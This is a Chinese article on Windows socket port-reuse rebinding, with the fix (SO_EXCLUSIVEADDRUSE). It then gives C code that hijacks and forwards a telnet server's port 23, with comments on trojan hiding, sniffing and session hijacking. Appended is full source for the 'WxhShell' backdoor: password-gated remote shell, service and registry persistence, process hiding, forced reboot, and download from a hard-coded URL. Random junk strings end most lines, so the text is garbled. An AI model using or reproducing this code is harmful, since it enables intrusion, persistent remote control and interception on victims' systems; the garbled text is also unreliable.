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利用VC实现端口复用

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FRcy`)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _my"%@n  
qsL) }sC^8  
  saddr.sin_family = AF_INET; FK6[>(QO  
PEN \-*Pv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D>|H 2  
)Z[ft  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w^(<N7B3T  
m2 -Sx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =Xm@YVf&ZD  
(As#^q\>B  
  这意味着什么?意味着可以进行如下的攻击: eD-#b|  
R|JC1f8P5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c~6>1w7SZ4  
nvca."5y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?m![Pg%  
kSC}aN'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >AC]#'  
"X2Vrn'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :s=NUw_^  
.ELGWF`>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Usg K  
c_\YBe]wJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;V@WtZv  
7}1~%:6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;sfb 4x4  
Rn#KfI:{  
  #include 7ByTnYe~S  
  #include ]&?Y~"{cD  
  #include 3WN`y8l  
  #include    Kfm5i Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F8hw #!Aq  
  int main() NIh:D bE  
  { )@N2  
  WORD wVersionRequested; ,_|]Ufr!a  
  DWORD ret; hp8%.V$f  
  WSADATA wsaData; U93}-){m  
  BOOL val; ygOd69  
  SOCKADDR_IN saddr; l;af~ef)'  
  SOCKADDR_IN scaddr; uC.K<jD%  
  int err; -g)9R%>-  
  SOCKET s; UU'|Xz9~  
  SOCKET sc; pqUCqo!m\  
  int caddsize; `J]fcE%T0R  
  HANDLE mt; ,PlO8;5]  
  DWORD tid;   syk!7zfK  
  wVersionRequested = MAKEWORD( 2, 2 ); `L:CA5sBud  
  err = WSAStartup( wVersionRequested, &wsaData ); )X04K~6lY  
  if ( err != 0 ) { XXbqQhf  
  printf("error!WSAStartup failed!\n"); ag$Vgl  
  return -1; .b\$MZ"(  
  } 3Uqr,0$p  
  saddr.sin_family = AF_INET; (]_1  
   nYWvTvZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z -,J)gW  
KiRUvWqa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5pU2|Bk /  
  saddr.sin_port = htons(23); hbU+Usx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u7bLZU 0  
  { ]"+95*B  
  printf("error!socket failed!\n"); t(GR)&>.2  
  return -1; w0|gG+x jS  
  } ay1YOfa*  
  val = TRUE; xAafm<L@!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6Z#\CixG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $f,n8]  
  { Sa\!*e_sN  
  printf("error!setsockopt failed!\n"); p7);uF^O%  
  return -1; ~CVe yk< (  
  } nM\eDNK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ys -T0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,\X@~ j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >a"Z\\dF  
>:zK?(qu,N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h\7fp.  
  { 7uT:b!^f[  
  ret=GetLastError(); ,REJt  
  printf("error!bind failed!\n"); "oWwc zzO  
  return -1; T_X6Ulp  
  } Kk(9O06j  
  listen(s,2); %Rz&lh/  
  while(1) ` L >  
  { klQC2drS  
  caddsize = sizeof(scaddr); o[v\|Q`d  
  //接受连接请求 ak ->ML  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7a#4tqM#  
  if(sc!=INVALID_SOCKET) ?|WoIV.  
  { 4Y,R-+f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +zrAG 24q  
  if(mt==NULL) `Q+ (LBP  
  { 61/.K_%I.  
  printf("Thread Creat Failed!\n"); WX}xmtLs  
  break; {g2@6ct  
  } #?*WPq  
  } @o#!EfZyE  
  CloseHandle(mt); _9tK[ /h  
  } ebS0qo[oLH  
  closesocket(s); QYa(N[~a  
  WSACleanup(); '; =f  
  return 0; &ZghMq~  
  }   \%/#x V  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0VckocF  
  { 2H/Z_+\  
  SOCKET ss = (SOCKET)lpParam; .Q@S #d  
  SOCKET sc; 6An9S%:_  
  unsigned char buf[4096]; YoN*:jB<M  
  SOCKADDR_IN saddr; T<JwD[ (  
  long num; SrFS#  
  DWORD val; ?+g`HTY u  
  DWORD ret; S!Omy:=;i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]?Fi$3Lm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vw#_68EybM  
  saddr.sin_family = AF_INET; 6'kS_Zu{<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c1$ngH0  
  saddr.sin_port = htons(23); u5 {JQO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 89n:)|rWq  
  { 6(]tYcC  
  printf("error!socket failed!\n"); h G gx  
  return -1; 0dA7pY9  
  } Pt@%4 :&-h  
  val = 100; @HRC \OG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ldI2 ]  
  { %9k!A]KD  
  ret = GetLastError(); {cB+mh;mJ>  
  return -1; 0{[m%eSK'  
  } %1.]c6U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \A#1y\ok  
  { A#nun  
  ret = GetLastError(); :8 jhiB)  
  return -1; neXeAU  
  } -zp0S*iP7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?OE.O/~l  
  { d"5oD@JG:  
  printf("error!socket connect failed!\n"); is1's[  
  closesocket(sc); ;w6>"O$a  
  closesocket(ss); |\n@3cIK  
  return -1; sf OHl  
  }  ] GHt"  
  while(1) [/ !;_b\X  
  { UPc<gB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6`0mta Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j4>a(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e$u4vC~  
  num = recv(ss,buf,4096,0); c&X{dJWD   
  if(num>0) o\88t){/kB  
  send(sc,buf,num,0);  *[r!  
  else if(num==0) tG8jFou  
  break; %/c+`Wd/l$  
  num = recv(sc,buf,4096,0); b+6"#/s  
  if(num>0) oEx\j+}@n  
  send(ss,buf,num,0); y.=/J8->  
  else if(num==0) ]c<qM_HWg  
  break; ew;ur?  
  } ]J* ,g,  
  closesocket(ss); \S*$UE]uG  
  closesocket(sc); ,bM-I2BR  
  return 0 ; ly4s"4v  
  } kaxvP v1  
?;wpd';c  
#Hvq/7a2R  
========================================================== I.Y['%8,5~  
{ekCQeDo  
下边附上一个代码,,WXhSHELL nI/kw%<  
j,t#B"hOnp  
========================================================== CW)Z[<d8  
~%/Wupf  
#include "stdafx.h" mCs#.%dU  
&X|<@'933  
#include <stdio.h> RbGJ)K!  
#include <string.h> 9prU+9  
#include <windows.h> SFb{o <0 =  
#include <winsock2.h> nLwiCf e  
#include <winsvc.h> zW}[+el }  
#include <urlmon.h> Io|X#\K  
g ^!C  
#pragma comment (lib, "Ws2_32.lib") L>!8YUz7p$  
#pragma comment (lib, "urlmon.lib") TDg@Tg0  
:qR=>n=  
#define MAX_USER   100 // 最大客户端连接数 ]Ni;w]KE  
#define BUF_SOCK   200 // sock buffer `/"nTB  
#define KEY_BUFF   255 // 输入 buffer jYVE8Y)my  
iJv48#'ii  
#define REBOOT     0   // 重启 ( =16PYs  
#define SHUTDOWN   1   // 关机 y8s!M  
[3W*9j  
#define DEF_PORT   5000 // 监听端口 ;uqx@sx ;  
`:wvh(  
#define REG_LEN     16   // 注册表键长度 aZet0?Qr  
#define SVC_LEN     80   // NT服务名长度 Aj9Ji"18za  
x$wd O  
// 从dll定义API [xfaj'j=@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ewuXpv%vwW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~1*A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `gpQW~*R-;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ExSO|g]%  
Q \]Xm>  
// wxhshell配置信息 5tv<8~:K  
struct WSCFG { vLa#Y("  
  int ws_port;         // 监听端口 <]Wlx`=/D  
  char ws_passstr[REG_LEN]; // 口令 dI*'!wK  
  int ws_autoins;       // 安装标记, 1=yes 0=no DY{cQb  
  char ws_regname[REG_LEN]; // 注册表键名 e,k2vp!<&  
  char ws_svcname[REG_LEN]; // 服务名 /<&h@$NHH4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?\/qeGW6G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1^dJg8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _TUt9}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 16X@^j_   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kvGCbRC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'r} zY-FM`  
<w>/^|]#  
}; ?Pwx~[<1""  
LF?P> 1%-  
// default Wxhshell configuration Sd))vS^g  
struct WSCFG wscfg={DEF_PORT, w?mEuXc  
    "xuhuanlingzhe", K'1~^)*  
    1, F_ 7H!F  
    "Wxhshell", 8ga_pNe  
    "Wxhshell", xM s]Hs  
            "WxhShell Service", /u`3VOn  
    "Wrsky Windows CmdShell Service", WlV z,t'if  
    "Please Input Your Password: ", F?u^"}%Fc  
  1, y^Vw`-e  
  "http://www.wrsky.com/wxhshell.exe", 1ndJ+H0H  
  "Wxhshell.exe" w %c  
    }; maSgRf[g  
'P laMOy  
// 消息定义模块 4'Xgk8)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C;Ic  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aF8k/$u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /}5B&TZ=(3  
char *msg_ws_ext="\n\rExit.";  T7$S_  
char *msg_ws_end="\n\rQuit."; k$Rnj`*^  
char *msg_ws_boot="\n\rReboot..."; wU`!B<,j  
char *msg_ws_poff="\n\rShutdown..."; yg;_.4TpIO  
char *msg_ws_down="\n\rSave to "; TNY4z(r  
*zVvQ=  
char *msg_ws_err="\n\rErr!"; u-DK_^v4M  
char *msg_ws_ok="\n\rOK!"; Rt(J/%;  
*Q}[ ]g  
char ExeFile[MAX_PATH]; (LJ@S eM;  
int nUser = 0; E-ZRG!)[v  
HANDLE handles[MAX_USER]; E1Q0k5@  
int OsIsNt; e kQrW%\3  
BF8"rq}r0  
SERVICE_STATUS       serviceStatus; X6RQqen3:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uh|>Skic4  
Qu%D  
// 函数声明 Di Or{)a  
int Install(void); 6'OO-o  
int Uninstall(void); XidxNPz0^  
int DownloadFile(char *sURL, SOCKET wsh); {hqAnZ@]vr  
int Boot(int flag); :Gh~fm3}  
void HideProc(void); !:fv>FEI9  
int GetOsVer(void); NvtM3  
int Wxhshell(SOCKET wsl); Wv K(G3  
void TalkWithClient(void *cs); fP%Fyg^k  
int CmdShell(SOCKET sock); 7;LO2<|1  
int StartFromService(void); h<p3'  
int StartWxhshell(LPSTR lpCmdLine); v })Q  
|G=[5e^s[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GlR~%q-jiQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rUwE?Ekn/  
ivrXwZ7jT  
// 数据结构和表定义 %*)2s,8  
SERVICE_TABLE_ENTRY DispatchTable[] = W"hcaa,&  
{ ?\H.S9CZ^  
{wscfg.ws_svcname, NTServiceMain}, $zkH|] zZ  
{NULL, NULL} G+"8l!dC?  
}; (U87}}/l  
;RN8\re  
// 自我安装 m-1?\bs  
int Install(void) _MYx%Z  
{ ;?IT)sNY  
  char svExeFile[MAX_PATH]; `Y3(~~YGn  
  HKEY key; gs`^~iD]m  
  strcpy(svExeFile,ExeFile); ~%y\@x7I  
Pg^h,2h  
// 如果是win9x系统,修改注册表设为自启动 }X$l\pm  
if(!OsIsNt) { $W!]fcZlB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . %(^mK)zQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <9@7,2  
  RegCloseKey(key); S2=%x.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MV+i{]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3;$bS<>  
  RegCloseKey(key); PDw{R]V+  
  return 0; BSXdvI1y  
    } +lp{#1q0  
  } aIvBY78o  
} #*%fu  
else { %my  
T!( 4QRh[  
// 如果是NT以上系统,安装为系统服务 ER|!KtCSM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qp:6= o0:  
if (schSCManager!=0) d$1 #<-yP  
{ ZTf_#eS$  
  SC_HANDLE schService = CreateService 'M%5v'$y  
  ( &?a.mh/8[[  
  schSCManager, QjukK6#W  
  wscfg.ws_svcname, (Nz]h:}r  
  wscfg.ws_svcdisp, R40W'N 1%q  
  SERVICE_ALL_ACCESS, wz@FrRP=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y"> 4Qx4W  
  SERVICE_AUTO_START, Hbr^vYs5  
  SERVICE_ERROR_NORMAL, ]G1R0 Q  
  svExeFile, mC(u2  
  NULL, ^eTZn[qH>w  
  NULL, kMe@+ysL  
  NULL, ~%aJFs  
  NULL, q]v,  
  NULL ,OBQv.D3>a  
  ); t* z'c  
  if (schService!=0) _:,.yRez  
  { w yD%x(  
  CloseServiceHandle(schService); +Hy4s[_|  
  CloseServiceHandle(schSCManager); xw%)rm<t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nGZ \<-  
  strcat(svExeFile,wscfg.ws_svcname); Ff/Ig]Lb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r%!FmS<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mq`5w)S)\o  
  RegCloseKey(key); >Pkdu}xP3  
  return 0; ku3D?D:V  
    } 5!:._TcO  
  } u&3EPu  
  CloseServiceHandle(schSCManager); @f=RL)$|  
} vb}/@F,Q5  
} Qg>L,ZO  
XqFu(Lm8=  
return 1; Rrz'(KSDw  
} T{ nQjYb?  
wG:$6  
// 自我卸载 ib Ue*Z["1  
int Uninstall(void) q}Rlo/R  
{ ~|=rwDBZ8l  
  HKEY key; ]S]"`;Wh  
GEi MmH?  
if(!OsIsNt) { b3^R,6]x&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (6#M9XL  
  RegDeleteValue(key,wscfg.ws_regname); iQj2UTds3  
  RegCloseKey(key); (1y='L2rj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p5qx=p~c  
  RegDeleteValue(key,wscfg.ws_regname); le2/Zs$  
  RegCloseKey(key); v|y<_Ya  
  return 0; qnTi_c  
  } `Of[{.Q  
} @fDQ^ 4  
} NV(fN-L  
else { R8{e&n PE  
b60[({A\s&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <"NyC?b+G  
if (schSCManager!=0) _s@bz|yqw  
{ (l;C%O7*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YZ{jP?x  
  if (schService!=0) !SN WB  
  { u mqKFM$  
  if(DeleteService(schService)!=0) { wV %8v\  
  CloseServiceHandle(schService); V4oak!}?  
  CloseServiceHandle(schSCManager); d.b?! kn  
  return 0; dWIZ37w+D  
  } |3"NwM>  
  CloseServiceHandle(schService); $OT}`Te~  
  } /9TL&_A-T  
  CloseServiceHandle(schSCManager); N7+#9S5fv  
} lSs^A@s  
} aC}vJ93i  
xtu]F  
return 1; %,Q;<axzi  
} Yg|l?d"  
$KH@,;Xz  
// 从指定url下载文件 kYTOldfY2  
int DownloadFile(char *sURL, SOCKET wsh) E.U0qK],  
{ sMN>wbHwh[  
  HRESULT hr; 2Z-,c;21  
char seps[]= "/"; p( HyRCH  
char *token; "sSjVu  
char *file; [ArO$X3\  
char myURL[MAX_PATH]; Bd.Z+#%l"  
char myFILE[MAX_PATH]; ]zy~@,\  
U"/yB8!W  
strcpy(myURL,sURL); ,?t}NZY&  
  token=strtok(myURL,seps); 1riBvBT  
  while(token!=NULL) ;4R =eI  
  { HUD7{6}4  
    file=token; mC% %)F'Zf  
  token=strtok(NULL,seps); <?nB,U  
  } +i_'gDy$  
*u<rU,C8  
GetCurrentDirectory(MAX_PATH,myFILE); giQ{Xrj  
strcat(myFILE, "\\"); h<Jc;ht  
strcat(myFILE, file); tu7+LwF7  
  send(wsh,myFILE,strlen(myFILE),0); k62$:9`5  
send(wsh,"...",3,0); QR|XV%$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A4}JZi6@  
  if(hr==S_OK) n=;';(wR[  
return 0; `X3Xz!  
else rO5u~"v]  
return 1; 1mY+0  
mQmBf|Rl  
}  W{L  
;`;G/1]#9  
// 系统电源模块 Z={D0`  
int Boot(int flag) mL8A2>Gig  
{ >~.Zr3P6kC  
  HANDLE hToken; ?,D>+::  
  TOKEN_PRIVILEGES tkp; .A )\F",X  
0,;E.Py?.  
  if(OsIsNt) { d*]Dv,#X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NW }>pb9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #>MO]  
    tkp.PrivilegeCount = 1; h85 (N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FLi(#9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o(?VX`2"  
if(flag==REBOOT) { 782[yLyv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `4$4bXrP'  
  return 0; HKq2Js  
} 97['VOh0  
else { J(3gT }z-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k'6<jEbk  
  return 0; Fl8w7LcF7  
} i#CaKS  
  } jc${.?m  
  else { ._8xY$l$  
if(flag==REBOOT) { dM$N1DB{U+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bbfDt^  
  return 0; N |OMj%Uk  
} 7KvXTrN!9  
else { CsJ)Z%4_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -d$8WSI 8  
  return 0; iSSc5ek4  
} e{^:/WcYB  
} P-/XYZ]`  
Z?!JV_K  
return 1; {m?K2]](  
} U:s} /to  
D[?k ,*  
// win9x进程隐藏模块 Vy?R/ Uu  
void HideProc(void) Bf D,z  
{ \O8Y3|<  
m1~qaD<DZ$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fW_}!`:  
  if ( hKernel != NULL ) 2LhfXBWf  
  { pDLu+ }@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c n\k`8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f_Wkg)g  
    FreeLibrary(hKernel); +YGw4{\EL  
  } [ HC8-N^.}  
N/`TrWVF  
return; G\'u~B/w  
} ` <l/GwtAJ  
2eZk3_w  
// 获取操作系统版本 PfwI@%2  
int GetOsVer(void) $V`KrA~]  
{ &=+cov(3  
  OSVERSIONINFO winfo; M<SbVP|V "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); el2*\(XT  
  GetVersionEx(&winfo); t 1Ir4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QN{}R;s  
  return 1; rX|y/0)F  
  else Q1O_CC}  
  return 0; 2uJNc!&  
} iylBK!ou  
3/A!_Uc(  
// 客户端句柄模块 Lo$Z>u4(c  
int Wxhshell(SOCKET wsl) 3*X, {%  
{ }[=xe(4]D  
  SOCKET wsh; 4~m.#6MT  
  struct sockaddr_in client; cu.*4zs  
  DWORD myID; 4Vb}i[</  
6b#:H~ <  
  while(nUser<MAX_USER) =sUl`L+w,L  
{ /ZIJ<#o[  
  int nSize=sizeof(client); Q`@$j,v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '%n<MTL  
  if(wsh==INVALID_SOCKET) return 1; w (vE2Y ?  
,w9#%=xE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O X5Co <u  
if(handles[nUser]==0) zAkc 67:  
  closesocket(wsh); IF36K^K  
else [5Y$L  
  nUser++; 8osS OOzM  
  } A;kw}!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CN8@c!mB  
3$96+A^M*  
  return 0; )JY_eG&2Dx  
} (dLE<\E  
 &*>C PO  
// 关闭 socket dIBKE0`  
void CloseIt(SOCKET wsh) jE?\Yv3  
{ *x*,I ,03  
closesocket(wsh); (^s&M  
nUser--; m p|20`go  
ExitThread(0); epG X.  
} zDvP7hl  
7T|J[W O  
// 客户端请求句柄 'o)ve(  
void TalkWithClient(void *cs) $tt0D?$4  
{ oqd N5+xt  
M3jv aI  
  SOCKET wsh=(SOCKET)cs; E1{:z"  
  char pwd[SVC_LEN]; HP4'8#3o  
  char cmd[KEY_BUFF]; 3j=%De  
char chr[1]; \CJx=[3(  
int i,j; bCE7hutl  
M0Kh>u  
  while (nUser < MAX_USER) { xtIehr0{$I  
8XH|T^5  
if(wscfg.ws_passstr) { 8f{}ce'E*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); quCWc2pXX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >^a"Z[s[  
  //ZeroMemory(pwd,KEY_BUFF); bD-/ZZz  
      i=0; TsFdy{/o*  
  while(i<SVC_LEN) { ['}^;Y?*o  
qUoMg%Z%l  
  // 设置超时 V&4:nIS>z  
  fd_set FdRead; Ddm76LS  
  struct timeval TimeOut; ~f]r>jQM  
  FD_ZERO(&FdRead); }!Diai*C  
  FD_SET(wsh,&FdRead); N[ Lz 0c?  
  TimeOut.tv_sec=8; Y|0-m#1F#  
  TimeOut.tv_usec=0; /_VRO9R\V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qm'C^ X?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'wB Huq  
K9I,Q$&xX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pw<q?q%  
  pwd=chr[0]; [oU+b(  
  if(chr[0]==0xd || chr[0]==0xa) { yf#%)-7(  
  pwd=0; Hh/ -^G  
  break; XoxR5arj  
  } LL$,<q%(P  
  i++; PgG |7='  
    } [b k&Nd[  
B0oY]r6  
  // 如果是非法用户,关闭 socket ~&[P` Z$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n?P 5pJ  
} $?/Xk%d+  
@)2V"FE4i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @R OY}CZ{/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ev: !,}]w  
@DQ"vFj6<  
while(1) { !k>H e*M}P  
Lx:N!RDw  
  ZeroMemory(cmd,KEY_BUFF); J?Ep Nie  
MVeQ5c(  
      // 自动支持客户端 telnet标准   J6["j   
  j=0; jC Kt;lj  
  while(j<KEY_BUFF) { q*y9/HnI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i[t=@^|  
  cmd[j]=chr[0]; @+CSY-g$  
  if(chr[0]==0xa || chr[0]==0xd) { kO3k| 6f=  
  cmd[j]=0; " ;R3260  
  break; 3@cJ=   
  } da?th  
  j++; oCdOC5  
    } zIQc#F6\5  
im?XXsH'  
  // 下载文件 xu?QK6D:  
  if(strstr(cmd,"http://")) { [A..<[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |phWK^   
  if(DownloadFile(cmd,wsh)) (Y.$wMB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<2b2?a S`  
  else {!g.255+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V\M!]Nnxr  
  } 'y M:W cN  
  else { ^Lfn3.M  
U_{JM`JY  
    switch(cmd[0]) { CU>K  
  U)w|GrxX  
  // 帮助 5G ]#yb74  
  case '?': { RBD7mpd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <9@]|  
    break; +#JhhW Zj(  
  } ? -F'0-t4%  
  // 安装 QUw5~n ;-  
  case 'i': { 8rG&CxI  
    if(Install()) w%o4MFK=!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(_g]u#B;  
    else ;=9v mQA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o27`g\gDR,  
    break; zl#&Qm4Ot  
    } s^t1PfP(,  
  // 卸载 &?g!}Ky \  
  case 'r': { CG>2 ,pP,  
    if(Uninstall()) ihBl",l&Hq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:{[Zvl'k  
    else ?a0}^:6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +e]b,9.sR  
    break; +$= Wms-z  
    } muX4Y1M_  
  // 显示 wxhshell 所在路径 oplA'Jgnv  
  case 'p': { H6JMN1#t$  
    char svExeFile[MAX_PATH]; Cm}UWX  
    strcpy(svExeFile,"\n\r"); , sJfMY  
      strcat(svExeFile,ExeFile); n`KXJ?t  
        send(wsh,svExeFile,strlen(svExeFile),0); FHcqu_;J  
    break; 'MQGR@*  
    } ^$,kTU'=  
  // 重启 [<fLPa  
  case 'b': { T\s#-f[x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FuiW\=^  
    if(Boot(REBOOT)) H$z+gbjJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:R@sU  
    else { gwz _b  
    closesocket(wsh); WblV`"~e  
    ExitThread(0); l(#Y8  
    } RH4n0 =2  
    break; >(ww6vk2  
